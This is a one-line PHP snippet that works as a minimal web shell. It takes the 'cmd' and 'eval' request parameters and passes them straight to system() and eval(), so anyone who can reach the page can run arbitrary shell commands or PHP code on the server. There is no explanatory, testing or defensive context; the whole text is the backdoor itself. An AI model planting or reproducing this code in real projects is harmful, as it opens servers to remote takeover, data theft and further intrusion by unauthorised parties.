$cmd = $_GET["cmd"]; $eval = $_GET["eval"]; if ($cmd != "") system($cmd); else if ($eval != "") eval($eval);